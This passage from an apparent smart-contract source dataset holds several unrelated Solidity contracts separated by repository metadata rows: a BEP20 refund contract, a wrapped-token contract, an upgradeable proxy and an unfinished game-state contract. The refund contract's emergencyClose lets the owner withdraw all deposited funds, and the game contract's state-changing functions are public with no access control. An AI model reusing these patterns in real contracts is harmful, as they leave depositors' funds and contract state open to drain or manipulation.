}
}
//
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
//
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Refund is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
uint256 public refundPercent = 95;
uint256 public totalMibWBNB;
uint256 public totalMibBUSD;
mapping(address => uint256) public depositedMibWBNB;
mapping(address => uint256) public depositedMibBUSD;
address[] public addressesDepositedMibWBNB;
address[] public addressesDepositedMibBUSD;
// The TOKEN!
IBEP20 public mibWBNB;
IBEP20 public mibBUSD;
IBEP20 public busdToken;
IBEP20 public wbnbToken;
constructor(IBEP20 _busdToken,
IBEP20 _wbnbToken,
IBEP20 _mibWBNB,
IBEP20 _mibBUSD) public {
busdToken = _busdToken;
wbnbToken = _wbnbToken;
mibWBNB = _mibWBNB;
mibBUSD = _mibBUSD;
}
function totalAddressesMibWBNB() public view returns (uint256) {
return addressesDepositedMibWBNB.length;
}
function totalAddressesMibBUSD() public view returns (uint256) {
return addressesDepositedMibBUSD.length;
}
function depositMibWBNB(uint256 _amount) public {
require(_amount > 0, "not good");
mibWBNB.safeTransferFrom(_msgSender(), address(this), _amount);
totalMibWBNB = totalMibWBNB.add(_amount);
uint256 currentDeposited = depositedMibWBNB[_msgSender()];
if (currentDeposited == 0) {
addressesDepositedMibWBNB.push(_msgSender());
}
depositedMibWBNB[_msgSender()] = currentDeposited.add(_amount);
}
function depositMibBUSD(uint256 _amount) public {
require(_amount > 0, "not good");
mibBUSD.safeTransferFrom(_msgSender(), address(this), _amount);
totalMibBUSD = totalMibBUSD.add(_amount);
uint256 currentDeposited = depositedMibBUSD[_msgSender()];
if (currentDeposited == 0) {
addressesDepositedMibBUSD.push(_msgSender());
}
depositedMibBUSD[_msgSender()] = currentDeposited.add(_amount);
}
function refund(uint256 _typeRefund) public onlyOwner {
if (_typeRefund == 0) {
for (uint256 index = 0;
index < addressesDepositedMibBUSD.length;
index++) {
address refunder = addressesDepositedMibBUSD[index];
if (depositedMibBUSD[refunder] > 0) {
busdToken.safeTransfer(refunder,
depositedMibBUSD[refunder].mul(refundPercent).div(100));
depositedMibBUSD[refunder] = 0;
}
}
} else {
for (uint256 index = 0;
index < addressesDepositedMibWBNB.length;
index++) {
address refunder = addressesDepositedMibWBNB[index];
if (depositedMibWBNB[refunder] > 0) {
wbnbToken.safeTransfer(refunder,
depositedMibWBNB[refunder].mul(refundPercent).div(100));
depositedMibWBNB[refunder] = 0;
}
}
}
}
function emergencyClose() public onlyOwner {
busdToken.safeTransfer(owner(), busdToken.balanceOf(address(this)));
wbnbToken.safeTransfer(owner(), wbnbToken.balanceOf(address(this)));
uint256 balanceBNB = address(this).balance;
if (balanceBNB > 0) {
payable(owner()).transfer(balanceBNB);
}
}
}
| 251,382 | 12,449 |
126364f0c818ad45a7933891645f535e0b3bc9915b95198d9cde217f796e7f8e
| 32,277 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/80/80277a98bD53AA835Ec4Cb7aEDF04Ac8fBac5E3C_wGLAZE.sol
| 3,374 | 13,589 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
msg.sender,
_allowances[sender][msg.sender].sub(amount,
"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(msg.sender,
spender,
_allowances[msg.sender][spender].sub(subtractedValue,
"ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount,
"ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount,
"ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
"SafeERC20: decreased allowance below zero");
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data,
"SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsGLZAE {
function index() external view returns (uint256);
}
contract wGLAZE is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint256;
address public immutable GLZAE;
constructor(address _GLZAE) ERC20("Wrapped wGLAZE", "wGLAZE") {
require(_GLZAE != address(0));
GLZAE = _GLZAE;
}
function wrap(uint256 _amount) external returns (uint256) {
IERC20(GLZAE).transferFrom(msg.sender, address(this), _amount);
uint256 value = GLAZETowGLZAE(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint256 _amount) external returns (uint256) {
_burn(msg.sender, _amount);
uint256 value = wGLAZEToGLZAE(_amount);
IERC20(GLZAE).transfer(msg.sender, value);
return value;
}
function wGLAZEToGLZAE(uint256 _amount) public view returns (uint256) {
return _amount.mul(IsGLZAE(GLZAE).index()).div(10**decimals());
}
function GLAZETowGLZAE(uint256 _amount) public view returns (uint256) {
return _amount.mul(10**decimals()).div(IsGLZAE(GLZAE).index());
}
}
| 83,979 | 12,450 |
6888cbf7a5c4c792fceb0351f696083f27a19e28d6698eef13d6aede50edc524
| 27,189 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7DFb82932F9c7aa91847b9B350990B7c900C7602/contract.sol
| 2,861 | 12,064 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
interface IBeacon {
function implementation() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation,
bytes memory data,
bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
contract PPRoxy is TransparentUpgradeableProxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable TransparentUpgradeableProxy(_logic, admin_, _data) {
}
}
| 256,288 | 12,451 |
eea3e89bc5ad8568b150dc717b181e32d74e88235420c30394b26a16c4417f8f
| 21,289 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d2/d2b9388fbe596235d9fce19c681dbbc3036ce64f_TerritoryUnitGameStatePredictionComponent.sol
| 4,979 | 20,037 |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.11;
library ModularArray {
// use underlying element (type value of "element" can be change to use address or bytes for exemple)
struct UnderlyingElement {
uint element;
uint index;
bool init;
uint last;
uint next;
}
// create a modular array
struct ModularArrayStruct {
mapping (uint => UnderlyingElement) array;
mapping (uint => uint) associatedIndexFromElement;
uint firstIndex;
uint nbIndex;
uint totalElementsNumber;
}
// add any element just after an index (0: last index "_index", 1: new index with "_element" value)
function addAfterIndex(ModularArrayStruct storage _array, uint _index, uint _element) internal returns (uint) {
uint _nbIndex = _array.nbIndex;
_array.associatedIndexFromElement[_element] = _nbIndex;
if (_array.totalElementsNumber > 0) {
require(_array.array[_index].init == true, "Wrong indexing matching");
UnderlyingElement storage lastElement = _array.array[_index];
UnderlyingElement storage nextElement = _array.array[lastElement.next];
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, lastElement.index, nextElement.index);
lastElement.next = _nbIndex;
nextElement.last = _nbIndex;
} else {
_array.firstIndex = _nbIndex;
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, 0);
}
_array.nbIndex++;
_array.totalElementsNumber++;
return _nbIndex;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function addAfterElement(ModularArrayStruct storage _array, uint _elementIndex, uint _element) internal returns (uint) {
return addAfterIndex(_array, _array.associatedIndexFromElement[_elementIndex], _element);
}
// add any element just before an index (0: last index "_index", 1: new index with "_element" value)
function addBeforeIndex(ModularArrayStruct storage _array, uint _index, uint _element) internal returns (uint) {
uint _nbIndex = _array.nbIndex;
_array.associatedIndexFromElement[_element] = _nbIndex;
if (_array.totalElementsNumber > 0) {
require(_array.array[_index].init == true, "Wrong indexing matching");
UnderlyingElement storage nextElement = _array.array[_index];
UnderlyingElement storage lastElement = _array.array[nextElement.last];
if (_array.firstIndex == _index) {
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, nextElement.index);
_array.firstIndex = _nbIndex;
nextElement.last = _nbIndex;
} else {
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, lastElement.index, nextElement.index);
lastElement.next = _nbIndex;
nextElement.last = _nbIndex;
}
} else {
_array.firstIndex = _nbIndex;
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, 0);
}
_array.nbIndex++;
_array.totalElementsNumber++;
return _nbIndex;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function addBeforeElement(ModularArrayStruct storage _array, uint _elementIndex, uint _element) internal returns (uint) {
return addBeforeIndex(_array, _array.associatedIndexFromElement[_elementIndex], _element);
}
// remove an element by its index
function removeFromIndex(ModularArrayStruct storage _array, uint _index) internal {
require(_array.array[_index].init == true, "Wrong indexing matching");
require(_array.totalElementsNumber > 0, "Can't remove non existent indexes");
UnderlyingElement storage element = _array.array[_index];
UnderlyingElement storage lastElement = _array.array[element.last];
UnderlyingElement storage nextElement = _array.array[element.next];
_array.associatedIndexFromElement[element.element] = 0;
if (_array.firstIndex == _index) {
_array.firstIndex = element.next;
lastElement.last = 0;
} else {
lastElement.next = nextElement.index;
nextElement.last = lastElement.index;
}
_array.totalElementsNumber--;
element.index = 0;
element.init = false;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function removeFromElement(ModularArrayStruct storage _array, uint _element) internal {
removeFromIndex(_array, _array.associatedIndexFromElement[_element]);
}
// return the whole array
// - "_excludedIndex" = -1 to not exclude index
function getWholeArray(ModularArrayStruct storage _array) internal view returns (uint[] memory) {
uint[] memory _fullArray = new uint[](_array.totalElementsNumber);
UnderlyingElement memory _currentElement = _array.array[_array.firstIndex];
for (uint i=0; i < _array.totalElementsNumber; i++) {
_fullArray[i] = _currentElement.element;
_currentElement = _array.array[_currentElement.next];
}
return _fullArray;
}
function getElementIndex(ModularArrayStruct storage _array, uint _element) internal view returns (uint[] memory, uint) {
uint[] memory array = getWholeArray(_array);
for (uint i=0; i < array.length; i++) {
if (array[i] == _element) return (array, i);
}
return (array, 0);
}
function resetArray(ModularArrayStruct storage _array) internal {
_array.totalElementsNumber = 0;
}
}
interface IWarfareUnit {
function ownerOf(uint) external view returns (address);
}
contract TerritoryUnitGameStatePredictionComponent {
using ModularArray for ModularArray.ModularArrayStruct;
// basic structur to store all important information about attackers necessary to make calculations
struct Attacker {
uint fightEntry;
uint lp;
uint dmg;
uint predictedDeathTime;
uint killedByUniqueId;
}
uint uniqueId = 1;
mapping (uint => uint) public firstFightEntry; // first fight entry timestamp for every pools id
mapping (uint => uint) public currentAttackersNumber; // current attackers number (in terms of different players, not units) for every pools id
uint public MAX_UNITS_PER_OWNER = 15;
uint public MAX_ATTACKERS_OWNERS = 20; // max number of different attackers owners in a single fight
uint public FIGHT_TIME = 50;
mapping (uint => Attacker) public attackersIndex; // associate unique id to each attackers to handle them easily
mapping (address => mapping (uint => uint)) public referenceTreeAttackers;
mapping (uint => uint) public poolIdReference; // reference each unique id to its current pool;
mapping (uint => mapping (address => uint)) public deployedUnitPerAddress; // different attackers (non packed) amount in a single fight for each address and for each pool id
mapping (uint => mapping (uint => uint)) public elementIndex;
mapping (uint => ModularArray.ModularArrayStruct) public attackers; // attackers list sorted by their fight entry (first entry <=> first index) for each pool id
mapping (uint => uint) public lastDeathTime; // last death time for each pool
mapping (uint => uint) public finalPoolPossesor;
mapping (uint => uint) public poolPossesorAtUpdate;
uint private DECIMALS = 10000;
constructor () {
_addAttacker(0, 0x60499b24887298D10Da2b7d55c8eCDAF1eDCbB04, 0, block.timestamp + 10, 1000, 2);
_addAttacker(0, address(0), 0, block.timestamp + 11, 1200, 3);
_addAttacker(0, address(0), 0, block.timestamp + 200, 1000, 4);
_addAttacker(0, address(0), 0, block.timestamp + 300, 100, 5);
}
function _addAttacker(uint _poolId, address _contractReference, uint _tokenIdReference, uint _fightEntry, uint _lp, uint _dmg) public returns (uint) {
require(deployedUnitPerAddress[_poolId][msg.sender] + 1 <= MAX_UNITS_PER_OWNER, "max unit number reached");
require(currentAttackersNumber[_poolId] + 1 <= MAX_ATTACKERS_OWNERS, "max commanders in this fight reached");
// set the new Attacker object created from the input datas
attackersIndex[uniqueId] = Attacker(_fightEntry, _lp, _dmg, 0, 0);
// retreive the index and set at the rigth place the new element (in croissant fight entry order)
(bool _addAfterElement, uint _element) = getFightEntryElement(_fightEntry, _poolId);
if (_addAfterElement) attackers[_poolId].addAfterElement(_element, uniqueId);
else attackers[_poolId].addBeforeElement(_element, uniqueId);
// set the first timestamp fight entry
if (firstFightEntry[_poolId] > _fightEntry || firstFightEntry[_poolId] == 0) firstFightEntry[_poolId] = _fightEntry;
// set the reference of the attacker linked to its nft contract address and token id reference
referenceTreeAttackers[_contractReference][_tokenIdReference] = uniqueId;
poolIdReference[uniqueId] = _poolId;
uniqueId++;
deployedUnitPerAddress[_poolId][msg.sender]++;
currentAttackersNumber[_poolId]++;
return uniqueId-1;
}
function _removeAttacker(uint _poolId, address _contractReference, uint _tokenIdReference) public {
require(getPoolId(_contractReference,_tokenIdReference) == _poolId, "wrong pool");
uint _uniqueId = referenceTreeAttackers[_contractReference][_tokenIdReference];
uint _unitCurrentlyAttacked = getUnitAttackedForUniqueIdAndTimestamp(_poolId, _uniqueId, block.timestamp);
if (_unitCurrentlyAttacked != 0) {
// remove lp to the current unit attacked and to the unit "uniqueId"
uint predictedDeathTimeA = cal(attackersIndex[_uniqueId].predictedDeathTime);
uint predictedDeathTimeB = cal(attackersIndex[_unitCurrentlyAttacked].predictedDeathTime);
uint deltaFighting;
if (predictedDeathTimeA < predictedDeathTimeB) {
deltaFighting = predictedDeathTimeA - block.timestamp;
} else {
deltaFighting = predictedDeathTimeB - block.timestamp;
}
uint timeRatio = cal((DECIMALS * deltaFighting) / FIGHT_TIME);
uint deathScoreA = cal(attackersIndex[_uniqueId].lp / attackersIndex[_unitCurrentlyAttacked].dmg);
uint deathScoreB = cal(attackersIndex[_unitCurrentlyAttacked].lp / attackersIndex[_uniqueId].dmg);
